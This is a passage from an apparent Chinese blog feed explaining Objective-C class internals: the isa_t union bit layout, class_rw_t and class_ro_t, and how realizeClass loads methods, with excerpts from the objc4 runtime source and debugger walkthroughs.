<li>如果 direct == false，不是本类的方法，就把<br>old = class_getMethodImplementation(super, sel) 这个函数通过机器码嵌入到调用原函数之前，使得在调用自定义方法后，动态查询原始 IMP 指针;<br>最后通过 class_addMethod(_class, sel, imp, type) 加入到本类的方法列表中;</li>
</ul>
<blockquote>
<p>执行 class_addMethod 这个方法，主要是为了避免使用 method_setImplementation 覆盖父类已有的函数，所以在本类中动态添加了这个方法。</p>
</blockquote>
<p>另外，在 objc/runtime.h 中提到：</p>
<blockquote>
<p>@note  class_getMethodImplementation may be faster than<br>method_getImplementation(class_getInstanceMethod(cls, name)).</p>
</blockquote>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] ARM机器码分析　<a href="http://www.mamicode.com/info-detail-893760.html">http://www.mamicode.com/info-detail-893760.html</a><br>[2] 3.Arm机器码　<a href="http://www.cnblogs.com/FORFISH/p/4199600.html">http://www.cnblogs.com/FORFISH/p/4199600.html</a><br>[3] C++标准转换运算符reinterpret_cast 　<br><a href="http://www.cnblogs.com/ider/archive/2011/07/30/cpp_cast_operator_part3.html">http://www.cnblogs.com/ider/archive/2011/07/30/cpp_cast_operator_part3.html</a></p>
]]></content>
      <categories>
        <category>源码解析</category>
      </categories>
  </entry>
  <entry>
    <title>Objective-C 中的类结构</title>
    <url>/ebd19f03.html</url>
    <content><![CDATA[<h2 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h2><p>我们已知，OC 中的类也是对象，且对象和类实际上是以结构体的形式存在的（可通过 clang 转换）。在 OC 运行时可以修改对象的方法和属性。那么，这些结论背后的机理是什么呢？</p>
<p>在这篇文章中，我将从类的内存布局以及内存结构方面入手，通过调试 objc runtime 的源代码来厘清上述问题（源代码版本为 objc4-706）。</p>
<a id="more"></a>

<h2 id="isa-t-结构体"><a href="#isa-t-结构体" class="headerlink" title="isa_t 结构体"></a>isa_t 结构体</h2><p>首先来认识一下 isa 指针，isa 的意思是 it is a object，这是一个对象。对象是由 objc_object 结构体定义的，类是由 objc_calss 结构体定义的，我们可以在 runtime 源码中查看它们的定义：</p>
<figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">objc_object</span> &#123;</span></span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="keyword">isa_t</span> isa;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">objc_class</span> :</span> objc_object &#123;</span><br><span class="line">    <span class="comment">// Class ISA;</span></span><br><span class="line">    Class superclass;　　　　<span class="comment">// 父类</span></span><br><span class="line">    <span class="keyword">cache_t</span> cache;　　　　　　<span class="comment">// formerly cache pointer and vtable</span></span><br><span class="line">    <span class="keyword">class_data_bits_t</span> bits; <span class="comment">// class_rw_t * plus custom rr/alloc flags</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="isa-定义"><a href="#isa-定义" class="headerlink" title="isa 定义"></a>isa 定义</h3><p>我们可以看到，对象的结构体中其实就只包含了一个 isa_t 联合类型的成员，类的结构体继承于对象的结构体，因此类的结构体的第一个成员也是 isa_t 联合类型，从这一点来讲，类也是对象。</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">union isa_t </span><br><span class="line">&#123;</span><br><span class="line">    isa_t() &#123; &#125;</span><br><span class="line">    isa_t(<span class="built_in">uint</span>ptr_t value) : bits(value) &#123; &#125;</span><br><span class="line"></span><br><span class="line">    Class cls;</span><br><span class="line">    <span class="built_in">uint</span>ptr_t bits;</span><br><span class="line"></span><br><span class="line">#<span class="keyword">if</span> SUPPORT_PACKED_ISA</span><br><span class="line"></span><br><span class="line">    <span class="comment">// extra_rc must be the MSB-most field (so it matches carry/overflow flags)</span></span><br><span class="line">    <span class="comment">// nonpointer must be the LSB (fixme or get rid of it)</span></span><br><span class="line">    <span class="comment">// shiftcls must occupy the same bits that a real class pointer would</span></span><br><span class="line">    <span class="comment">// bits + RC_ONE is equivalent to extra_rc + 1</span></span><br><span class="line">    <span class="comment">// RC_HALF is the high bit of extra_rc (i.e. half of its range)</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// future expansion:</span></span><br><span class="line">    <span class="comment">// uintptr_t fast_rr : 1;     // no r/r overrides</span></span><br><span class="line">    <span class="comment">// uintptr_t lock : 2;        // lock for atomic property, @synch</span></span><br><span class="line">    <span class="comment">// uintptr_t extraBytes : 1;  // allocated with extra bytes</span></span><br><span class="line"></span><br><span class="line"># <span class="keyword">if</span> __arm64__</span><br><span class="line">#   define ISA_MASK        <span class="number">0x0000000ffffffff8</span>ULL</span><br><span class="line">#   define ISA_MAGIC_MASK  <span class="number">0x000003f000000001</span>ULL</span><br><span class="line">#   define ISA_MAGIC_VALUE <span class="number">0x000001a000000001</span>ULL</span><br><span class="line">    struct &#123;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t nonpointer        : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_assoc         : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_cxx_dtor      : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t shiftcls          : <span class="number">33</span>; <span class="comment">// MACH_VM_MAX_ADDRESS 0x1000000000</span></span><br><span class="line">        <span class="built_in">uint</span>ptr_t magic             : <span class="number">6</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t weakly_referenced : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t deallocating      : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_sidetable_rc  : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t extra_rc          : <span class="number">19</span>;</span><br><span class="line">#       define RC_ONE   (<span class="number">1</span>ULL&lt;&lt;<span class="number">45</span>)</span><br><span class="line">#       define RC_HALF  (<span class="number">1</span>ULL&lt;&lt;<span class="number">18</span>)</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"># elif __x86_64__</span><br><span class="line">#   define ISA_MASK        <span class="number">0x00007ffffffffff8</span>ULL</span><br><span class="line">#   define ISA_MAGIC_MASK  <span class="number">0x001f800000000001</span>ULL</span><br><span class="line">#   define ISA_MAGIC_VALUE <span class="number">0x001d800000000001</span>ULL</span><br><span class="line">    struct &#123;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t nonpointer        : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_assoc         : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_cxx_dtor      : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t shiftcls          : <span class="number">44</span>; <span class="comment">// MACH_VM_MAX_ADDRESS 0x7fffffe00000</span></span><br><span class="line">        <span class="built_in">uint</span>ptr_t magic             : <span class="number">6</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t weakly_referenced : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t deallocating      : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t has_sidetable_rc  : <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">uint</span>ptr_t extra_rc          : <span class="number">8</span>;</span><br><span class="line">#       define RC_ONE   (<span class="number">1</span>ULL&lt;&lt;<span class="number">56</span>)</span><br><span class="line">#       define RC_HALF  (<span class="number">1</span>ULL&lt;&lt;<span class="number">7</span>)</span><br><span class="line">    &#125;;</span><br><span class="line"> ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>关于联合类型，联合表示几个变量公用一个内存位置，在不同的时间保存不同的变量。当一个联合被说明时，编译程序自动地产生一个变量，其长度为联合中最大的变量长度。也就是说没，在任何同一时刻，联合只存放了一个被选中的成员。在 isa_t 联合结构中，共有三个成员，cls，bits，以及结构体变量。</p>
<h3 id="isa-初始化"><a href="#isa-初始化" class="headerlink" title="isa 初始化"></a>isa 初始化</h3><p>我们从 isa 的初始化来看 isa_t 联合中结构体各字段的意义。当为 OC 对象分配内存时（比如调用 alloc 方法），会初始化 isa 指针，其方法调用栈如下图所示：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE1.png"></p>
<p>其中 <code>inline void objc_object::initIsa(Class cls, bool nonpointer, bool hasCxxDtor)</code> 方法的定义如下：</p>
<figure class="highlight haxe"><table><tr><td class="code"><pre><span class="line"><span class="keyword">inline</span> void </span><br><span class="line">objc_object:<span class="type"></span>:initIsa(Class cls, bool nonpointer, bool hasCxxDtor) </span><br><span class="line">&#123; </span><br><span class="line">    assert(!isTaggedPointer()); </span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (!nonpointer) &#123;</span><br><span class="line">        isa.cls = cls;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        assert(!DisableNonpointerIsa);</span><br><span class="line">        assert(!cls-&gt;instancesRequireRawIsa());</span><br><span class="line"></span><br><span class="line">        isa_t <span class="keyword">new</span><span class="type">isa</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> SUPPORT_INDEXED_ISA</span></span><br><span class="line">        assert(cls-&gt;classArrayIndex() &gt; <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.bits = ISA_INDEX_MAGIC_VALUE;</span><br><span class="line">        <span class="comment">// isa.magic is part of ISA_MAGIC_VALUE</span></span><br><span class="line">        <span class="comment">// isa.nonpointer is part of ISA_MAGIC_VALUE</span></span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.has_cxx_dtor = hasCxxDtor;</span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.indexcls = (uintptr_t)cls-&gt;classArrayIndex();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.bits = ISA_MAGIC_VALUE;</span><br><span class="line">        <span class="comment">// isa.magic is part of ISA_MAGIC_VALUE</span></span><br><span class="line">        <span class="comment">// isa.nonpointer is part of ISA_MAGIC_VALUE</span></span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.has_cxx_dtor = hasCxxDtor;</span><br><span class="line">        <span class="keyword">new</span><span class="type">isa</span>.shiftcls = (uintptr_t)cls &gt;&gt; <span class="number">3</span>;</span><br><span class="line"><span class="meta">#endif</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// This write must be performed in a single store in some cases</span></span><br><span class="line">        <span class="comment">// (for example when realizing a class because other threads</span></span><br><span class="line">        <span class="comment">// may simultaneously try to use the class).</span></span><br><span class="line">        <span class="comment">// fixme use atomics here to guarantee single-store and to</span></span><br><span class="line">        <span class="comment">// guarantee memory order w.r.t. the class index table</span></span><br><span class="line">        <span class="comment">// ...but not too atomic because we don&#x27;t want to hurt instantiation</span></span><br><span class="line">        isa = <span class="keyword">new</span><span class="type">isa</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>以 x86_64 架构为例，ISA_MAGIC_VALUE 为 0x001d800000000001，在执行 <code>newisa.bits = ISA_MAGIC_VALUE;</code> 这行代码之后，newisa 的结构如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE2.png"></p>
<p>正如注释中提到的，执行这行代码，给 magic 和 nonpointer 赋值，nonpointer 是第0位，为1，magic 是第47<del>52位，为111011。接下来再将传入的 hasCxxDtor 赋值给 newisa.has_cxx_dtor，cls右3位赋值给 newisa.shiftcls。因为 shiftcls 是类或元类的指针，所以肯定是对齐的，也就是以0或8结尾，所以第0</del>2位在 isa 指针中就被占用来记录其他信息了（nonpointer、has_assoc、has_cxx_dtor ）。</p>
<blockquote>
<p>isa 各字段的含义：</p>
<ul>
<li>nonpointer：表示isa_t 的类型，0表示这是一个指向 cls 的指针（iPhone 64位之前的 isa 类型），1表示当前的 isa 并不是普通意义上的指针，而是 isa_t 联合类型，其中包含有 cls 的信息，在 shiftcls 字段中。</li>
<li>has_assoc：对象含有或曾经含有关联引用，没有关联引用可以更快释放内存。</li>
<li>has_cxx_dtor：表示该对象是否有 C++ 或 ARC 的析构函数，如果没有析构器就会快速释放内存。</li>
<li>shiftcls：当前对象对应的类指针，或当前类对应的元类指针。</li>
<li>magic：0x3b，用于调试器判断当前对象为真的对象还是未初始化的空间。 （即判断是否完成初始化）</li>
<li>weakly_referenced：对象是否指向或曾经指向一个 ARC 的弱变量，没有弱引用的对象可以更快释放。</li>
<li>deallocating：对象正在释放内存。</li>
<li>has_sidetable_rc：该对象引用计数太大，isa 指针存不下了。</li>
<li>extra_rc： 存储引用计数值减一后的值。</li>
</ul>
</blockquote>
<h3 id="isa-gt-shiftcls"><a href="#isa-gt-shiftcls" class="headerlink" title="isa-&gt;shiftcls"></a>isa-&gt;shiftcls</h3><p>通过前面提到的 objc_object 的定义，我们可以看到，对象的结构体中仅仅只有一个 isa 指针，并没有保存对象的属性、方法等。因为如果每一个对象都保存了自己能执行的方法，那么会占用很多的内存。</p>
<p>当实例方法（减号方法）被调用时，是通过对象的 isa 指针来查找对应的类（shiftcls 字段），然后在 objc_class 的 class_data_bits_t 结构体中查找本类方法的实现，superclass 中查找父类方法。</p>
<p>调用实例方法，也就是向对象发送消息。那么调用类方法（加号方法），也是在向类发送消息。正如我们前面提到的，类也是一个对象，类对象的类是它的元类（meta class）。所以类方法存储在元类结构中。</p>
<p>元类当然也是一个对象（为 objc_class 结构），它所属的类是根类（NSObject）的元类，根元类的类就是它自己。总的来说，<strong>对象的 isa-&gt;shiftcls 指向其所属类，类的 isa-&gt;shiftcls 指向元类，元类的 isa-&gt;shiftcls 指向根元类，根元类指向它自己。</strong></p>
<p>可以通过 ISA() 来获取 isa-&gt;shiftcls：</p>
<figure class="highlight monkey"><table><tr><td class="code"><pre><span class="line"><span class="keyword">inline</span> <span class="class"><span class="keyword">Class</span> </span></span><br><span class="line">objc_object::ISA() </span><br><span class="line">&#123;</span><br><span class="line">    assert(!isTaggedPointer()); </span><br><span class="line">    <span class="keyword">return</span> (<span class="class"><span class="keyword">Class</span>)(<span class="title">isa</span>.<span class="title">bits</span> &amp; <span class="title">ISA_MASK</span>);</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>即通过 <code>ISA_MASK</code> 掩码获取。</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE3.png"></p>
<p>在上图中（x86_64），<code>x1</code>是一个对象，<code>$1</code>是x1的 isa-&gt;shiftcls 指向的类，<code>$2</code>是$1的 isa-&gt;shiftcls 指向的元类，<code>$3</code>是$2的 isa-&gt;shiftcls 指向的根元类。</p>
<h2 id="class-data-bits-t-结构体"><a href="#class-data-bits-t-结构体" class="headerlink" title="class_data_bits_t 结构体"></a>class_data_bits_t 结构体</h2><blockquote>
<p>Class superclass 是当前类的父类指针，cache_t cache 在我之前的一篇文章“<a href="https://harpersu00.github.io/77e03b7f.html">通过汇编解读 objc_msgSend</a>”中有详细讲解。</p>
</blockquote>
<p><code>class_data_bits_t</code> 结构体只包含有一个 uintptr_t 类型的 bits。另外我们可以通过它的 data() 方法，访问64位中的第3~47位，返回一个 <code>class_rw_t*</code> 指针。objc_class 中的 data() 方法仅仅是对它做了一个封装。</p>
<figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">class_data_bits_t</span> &#123;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// Values are the FAST_ flags above.</span></span><br><span class="line">    <span class="keyword">uintptr_t</span> bits;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    ...</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    ...</span><br><span class="line">    <span class="function"><span class="keyword">class_rw_t</span>* <span class="title">data</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (<span class="keyword">class_rw_t</span> *)(bits &amp; FAST_DATA_MASK);</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">objc_class</span> :</span> objc_object &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">class_data_bits_t</span> bits; <span class="comment">// class_rw_t * plus custom rr/alloc flags</span></span><br><span class="line">    ...</span><br><span class="line">    <span class="function"><span class="keyword">class_rw_t</span> *<span class="title">data</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> bits.data();</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在 objc_class 的注释中提到，class_data_bits_t 结构体就是 class_rw_t 指针加上 rr/alloc 标志。</p>
<h3 id="class-rw-t-amp-class-ro-t"><a href="#class-rw-t-amp-class-ro-t" class="headerlink" title="class_rw_t &amp; class_ro_t"></a>class_rw_t &amp; class_ro_t</h3><figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">class_rw_t</span> &#123;</span></span><br><span class="line">    <span class="comment">// Be warned that Symbolication knows the layout of this structure.</span></span><br><span class="line">    <span class="keyword">uint32_t</span> flags;</span><br><span class="line">    <span class="keyword">uint32_t</span> version;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> <span class="keyword">class_ro_t</span> *ro;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">method_array_t</span> methods;</span><br><span class="line">    <span class="keyword">property_array_t</span> properties;</span><br><span class="line">    <span class="keyword">protocol_array_t</span> protocols;</span><br><span class="line"></span><br><span class="line">    Class firstSubclass;</span><br><span class="line">    Class nextSiblingClass;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">char</span> *demangledName;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> SUPPORT_INDEXED_ISA</span></span><br><span class="line">    <span class="keyword">uint32_t</span> index;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>很明显可以看到，类中的方法、属性、协议等都保存在 class_rw_t 结构体中。其中的 <strong>class_ro_t 结构体保存的是当前类在编译期间就已经确定的属性、方法以及遵循的协议。</strong></p>
<p>编译期间：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE4.png"></p>
<p>运行后：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE5.png"></p>
<blockquote>
<p>以上两张图来自 Draveness 的博客：<a href="http://draveness.me/method-struct.html">深入解析 ObjC 中方法的结构</a></p>
</blockquote>
<p>这个变化来自于，在对类进行初始化的 realezeClass 方法：</p>
<figure class="highlight haskell"><table><tr><td class="code"><pre><span class="line"><span class="title">static</span> <span class="type">Class</span> realizeClass(<span class="type">Class</span> cls)</span><br><span class="line">&#123;</span><br><span class="line">   ...</span><br><span class="line">    ro = (const class_ro_t *)cls-&gt;<span class="class"><span class="keyword">data</span>();</span></span><br><span class="line">    <span class="keyword">if</span> (ro-&gt;flags &amp; <span class="type">RO_FUTURE</span>) &#123;</span><br><span class="line">        // <span class="type">This</span> was a future <span class="keyword">class</span>. rw <span class="class"><span class="keyword">data</span> is already allocated.</span></span><br><span class="line">        rw = cls-&gt;<span class="class"><span class="keyword">data</span>();</span></span><br><span class="line">        ro = cls-&gt;<span class="class"><span class="keyword">data</span>()-&gt;ro;</span></span><br><span class="line">        cls-&gt;changeInfo(<span class="type">RW_REALIZED</span>|<span class="type">RW_REALIZING</span>, <span class="type">RW_FUTURE</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        // <span class="type">Normal</span> <span class="keyword">class</span>. <span class="type">Allocate</span> writeable <span class="keyword">class</span> <span class="class"><span class="keyword">data</span>.</span></span><br><span class="line">        rw = (class_rw_t *)calloc(sizeof(class_rw_t), <span class="number">1</span>);</span><br><span class="line">        rw-&gt;ro = ro;</span><br><span class="line">        rw-&gt;flags = <span class="type">RW_REALIZED</span>|<span class="type">RW_REALIZING</span>;</span><br><span class="line">        cls-&gt;setData(rw);</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">	methodizeClass(cls);</span><br><span class="line"></span><br><span class="line">	return cls;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中 <code>methodizeClass</code> 方法将类自己实现的方法、属性和协议加载到 class_rw_t 的 methods、properties 和 protocols 中。</p>
<p>我们新建一个类：</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line"><span class="comment">//  XXObject.h</span></span><br><span class="line"><span class="meta">#import <span class="meta-string">&lt;Foundation/Foundation.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">@protocol</span> <span class="title">XXObjectProtocol</span> &lt;<span class="title">NSObject</span>&gt;</span></span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)hello;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@end</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">@interface</span> <span class="title">XXObject</span> : <span class="title">NSObject</span> &lt;<span class="title">XXObjectProtocol</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>, <span class="keyword">readwrite</span>) <span class="built_in">NSString</span> *myproperty;</span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)hello;</span><br><span class="line"></span><br><span class="line">+ (<span class="keyword">void</span>)myClassMethod;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//  XXObject.m</span></span><br><span class="line"><span class="meta">#import <span class="meta-string">&quot;XXObject.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">@implementation</span> <span class="title">XXObject</span></span></span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)hello &#123;</span><br><span class="line">    <span class="built_in">NSLog</span>(<span class="string">@&quot;Hello&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">+ (<span class="keyword">void</span>)myClassMethod &#123;</span><br><span class="line">    <span class="built_in">NSLog</span>(<span class="string">@&quot;myClassMethod&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//  main.m</span></span><br><span class="line"><span class="meta">#import <span class="meta-string">&lt;Foundation/Foundation.h&gt;</span></span></span><br><span class="line"><span class="meta">#import <span class="meta-string">&lt;objc/runtime.h&gt;</span></span></span><br><span class="line"><span class="meta">#import <span class="meta-string">&quot;XXObject.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> main(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> * argv[]) &#123;</span><br><span class="line">    <span class="keyword">@autoreleasepool</span> &#123;</span><br><span class="line">        <span class="comment">// insert code here...  </span></span><br><span class="line">        Class cls = [XXObject <span class="keyword">class</span>];</span><br><span class="line">        XXObject *x1 = [[XXObject alloc] init];</span><br><span class="line">        <span class="built_in">NSLog</span>(<span class="string">@&quot;%p&quot;</span>, cls); </span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>XXObject 这个类遵循 XXObjectProtocol 协议，并实现了其中的 hello 方法。定义并实现了类方法 myClassMethod。在 main 函数中初始化这个类的实例，然后运行一次，获取 XXObject 在内存中的地址。我的是<code>0x1000015d8</code>。再在 realizeClass 方法内， rw 还未赋值之前下条件断点，如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE6.png"></p>
<p>然后运行：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE7.png"></p>
<p>可以看到在断点处打印 bits.data() 返回的是 class_rw_t * 指针，继续打印 class_rw_t 结构体的值，并不对，因为在 realizeClass 方法中的 rw 被赋值前，应该是 class_ro_t 结构体类型，如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE8.png"></p>
<p>接着可以打印 ro 结构体内的方法列表，即编译期间确定的该对象的方法，存储在只读区域，有遵循协议实现的 hello 方法，还有 .cxx_destruct 这个编译器自动生成的方法（用来在 ARC 下释放对象的实例变量），以及属性 myproperty 的 setter、getter 方法。如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE9.png"></p>
<p>打印 ro 结构体内的属性列表，如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE10.png"></p>
<p>打印协议，protocol_list_t 没有 get 方法，它的结构是这样的：</p>
<figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">protocol_list_t</span> &#123;</span></span><br><span class="line">    <span class="comment">// count is 64-bit by accident. </span></span><br><span class="line">    <span class="keyword">uintptr_t</span> count;</span><br><span class="line">    <span class="keyword">protocol_ref_t</span> <span class="built_in">list</span>[<span class="number">0</span>]; <span class="comment">// variable-size</span></span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>所以第一个64位表示该对象遵循的协议的数量，紧接着是协议列表，如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE11.png"></p>
<p>在运行完对 rw 的赋值之后，再查看 class_data_bits_t * 指针，其指向的内存地址已经改变，从之前的 class_ro_t * 指针 <code>0x100001538</code> 变为真正的 class_rw_t * 指针的地址 <code>0x100802d20</code>。打印发现 class_rw_t 结构体中的 ro 已被设置为 class_ro_t * 指针的地址。如下图：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE12.png"></p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE13.png"></p>
<p>methods、properties等仍为0，在 realizeClass 方法末尾处的 methodizeClass 方法执行完，才会被赋值，且与 ro 中的方法列表等指针地址相同。</p>
<h3 id="动态添加方法"><a href="#动态添加方法" class="headerlink" title="动态添加方法"></a>动态添加方法</h3><p>如果动态添加方法的话，又会被存在什么位置呢？我们将 main 函数修改为下面的代码：</p>
<figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line"><span class="built_in">int</span> main(<span class="built_in">int</span> argc, const <span class="built_in">char</span><span class="operator"> * </span>argv<span class="literal">[]</span>) &#123;</span><br><span class="line">    @autoreleasepool &#123; </span><br><span class="line">        Class cls = <span class="literal">[XXO<span class="identifier">bject</span> <span class="identifier">class</span>]</span>;</span><br><span class="line">        XXObject *x1 = <span class="literal">[[XXO<span class="identifier">bject</span> <span class="identifier">alloc</span>]</span> init];</span><br><span class="line">        <span class="constructor">NSLog(@<span class="string">&quot;%p&quot;</span>, <span class="params">cls</span>)</span>;</span><br><span class="line">        </span><br><span class="line">        SEL come = sel<span class="constructor">_registerName(<span class="string">&quot;come&quot;</span>)</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">class</span><span class="constructor">_addMethod(<span class="params">cls</span>, <span class="params">come</span>, <span class="params">class_getMethodImplementation</span>(<span class="params">cls</span>, @<span class="params">selector</span>(<span class="params">hello</span>)</span>), <span class="keyword">method</span><span class="constructor">_getTypeEncoding(<span class="params">class_getInstanceMethod</span>(<span class="params">cls</span>, @<span class="params">selector</span>(<span class="params">hello</span>)</span>)));</span><br><span class="line">        </span><br><span class="line">        <span class="literal">[<span class="identifier">x1</span> <span class="identifier">performSelector</span>:<span 